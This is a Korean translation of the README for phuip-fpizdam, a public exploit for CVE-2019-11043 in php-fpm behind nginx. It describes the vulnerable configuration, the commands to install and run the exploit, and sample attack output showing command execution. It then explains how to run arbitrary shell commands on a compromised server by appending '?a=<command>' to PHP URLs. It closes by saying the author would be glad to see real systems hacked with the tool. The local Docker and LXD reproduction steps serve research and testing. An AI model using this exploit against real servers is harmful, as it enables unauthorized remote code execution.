
Exploit for CVE-2019-11043
이것은 php-fpm (CVE-2019-11043)의 버그를 위한 익스플로잇입니다. 특정 nginx + php-fpm 설정에서 외부에서 버그를 트리거할 수 있습니다. 즉, 취약한 설정이 있다면 웹 사용자가 코드 실행을 할 수 있습니다 (자세한 내용은 아래 참조).
저희는 분석글을 작성하기에는 너무 게을렀지만, Orange Tsai가 자신의 블로그에 완벽한 분석을 게시했습니다. 그에게 경의를 표합니다.
또한, ZeroNights 2019에서의 제 슬라이드는 여기에서 확인할 수 있습니다.
웹서버가 nginx + php-fpm을 실행하고 nginx에 다음과 같은 설정이 있는 경우
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
또한 스크립트 존재 여부 확인(try_files 등)이 없는 경우, 이 익스플로잇으로 해킹할 수 있습니다.
location ~ [^/]\.php(/|$)가 php-fpm으로 전달되어야 합니다 (정규식이 더 엄격할 수도 있습니다, #1 참조).fastcgi_param PATH_INFO $fastcgi_path_info; 문을 통해 PATH_INFO 변수가 할당되어야 합니다. 또한 SCRIPT_FILENAME은 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;을 사용하여 설정되어야 합니다 ($document_root 대신 상수 경로가 있을 수 있습니다). 처음에는 이것들이 항상 fastcgi_params 파일에 있다고 생각했지만, 사실이 아닙니다.PATH_INFO를 빈 값으로 설정할 수 있는 방법이 있어야 합니다. 이 익스플로잇은 fastcgi_split_path_info 지시자가 있고 ^로 시작하고 $로 끝나는 정규식을 포함한다고 가정하여, 개행 문자로 정규식을 깨뜨리려고 시도합니다.PATH_INFO가 REQUEST_URI 다음에 설정된다고 가정합니다.try_files $uri =404 또는 if (-f $uri)와 같은 파일 존재 여부 확인이 없어야 합니다. Nginx가 FastCGI 전달 전에 존재하지 않는 스크립트에 대한 요청을 차단하면, 우리의 요청은 php-fpm에 도달하지 않습니다. 이를 추가하는 것이 가장 쉬운 패치 방법입니다.오래 전 php-fpm은 스크립트의 확장자를 제한하지 않아서, /avatar.png/some-fake-shit.php와 같은 것이 avatar.png를 PHP 스크립트로 실행할 수 있었습니다. 이 문제는 2010년경에 수정되었습니다.
현재 취약점은 파일 업로드가 필요하지 않으며, 최신 버전에서도 작동하고(수정이 적용될 때까지), 가장 중요한 것은 익스플로잇이 훨씬 더 멋집니다.
다음 명령어로 설치합니다:
go get github.com/neex/phuip-fpizdam
이상한 컴파일 오류가 발생하면 go >= 1.13을 사용하고 있는지 확인하세요. phuip-fpizdam [url] 명령어로 프로그램을 실행합니다 ($GOPATH/bin이 $PATH에 있다고 가정, 그렇지 않으면 바이너리의 전체 경로를 지정). 올바른 출력은 다음과 같습니다:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
이후 모든 PHP 스크립트에 ?a=<your command>를 추가하여 명령을 실행할 수 있습니다 (여러 번 재시도가 필요할 수 있습니다).
또는 도커 이미지를 사용하여 익스플로잇을 실행할 수 있습니다:
docker run --rm ypereirareis/cve-2019-11043 [url]
Docker를 통해 이슈를 재현하거나 로컬에서 익스플로잇을 실험하려면 다음을 수행하세요:
reproducer 디렉토리로 이동합니다.docker build -t reproduce-cve-2019-11043 . 명령어로 도커 이미지를 생성합니다. 내부적으로 php 저장소를 클론하고 소스에서 빌드하므로 시간이 오래 걸립니다. 하지만 익스플로잇을 디버깅하려면 이 방법이 더 쉽습니다. 빌드되는 리비전은 수정 직전의 것입니다.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 명령어로 도커를 실행합니다.phuip-fpizdam http://127.0.0.1:8080/script.php 명령어로 익스플로잇을 실행합니다.?a=를 추가하여 명령을 실행할 수 있습니다: http://127.0.0.1:8080/script.php?a=id. php-fpm 워커 중 일부만 감염되므로 여러 번 시도하세요.LXD를 통해 이슈를 재현하거나 로컬에서 익스플로잇을 실험하려면 다음을 수행하세요:
vulnerable과 attacker라는 두 개의 시스템 컨테이너를 생성합니다. 두 컨테이너 모두 ubuntu:18.04 컨테이너 이미지를 사용할 수 있습니다.vulnerable 컨테이너에 nginx와 php-fpm을 설치합니다. 서버 블록을 이 설정과 같이 구성합니다. /var/www/html/index.php라는 빈 파일을 생성합니다.attacker 컨테이너에 Go 언어를 설치하고 (sudo snap install go --classic), 이 저장소를 클론한 후 저장소 디렉토리에서 go build를 실행합니다../phuip-fpizdam http://vulnerable.lxd/index.php. 모든 php-fpm 워커를 감염시키기 위해 여러 번 시도하세요.자세한 내용은 Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers를 참조하세요.
php-fpm의 버퍼 언더플로우는 PHP 버전 5에 존재합니다. 그러나 이 익스플로잇은 FastCGI 변수 저장에 사용되는 최적화인 _fcgi_data_seg를 활용합니다. 이 최적화는 PHP 7에만 존재하므로, 이 특정 익스플로잇은 PHP 7에서만 작동합니다. PHP 5에서 작동하는 다른 공격 기법이 있을 수 있습니다.
원래 이상 현상은 Real World CTF에서 d90pwn이 발견했습니다. 근본 원인과 php.ini 옵션 설정 방법은 저(Emil Lerner)가 찾았습니다. 최종 php.ini 옵션 세트는 beched가 찾았습니다.
이 익스플로잇은 MIT 라이선스 조건에 따라 배포됩니다.
이 익스플로잇으로 피해를 입히지 마십시오. 하지만 이 도구로 실제로 무언가를 해킹한다면, 저는 기쁠 것입니다.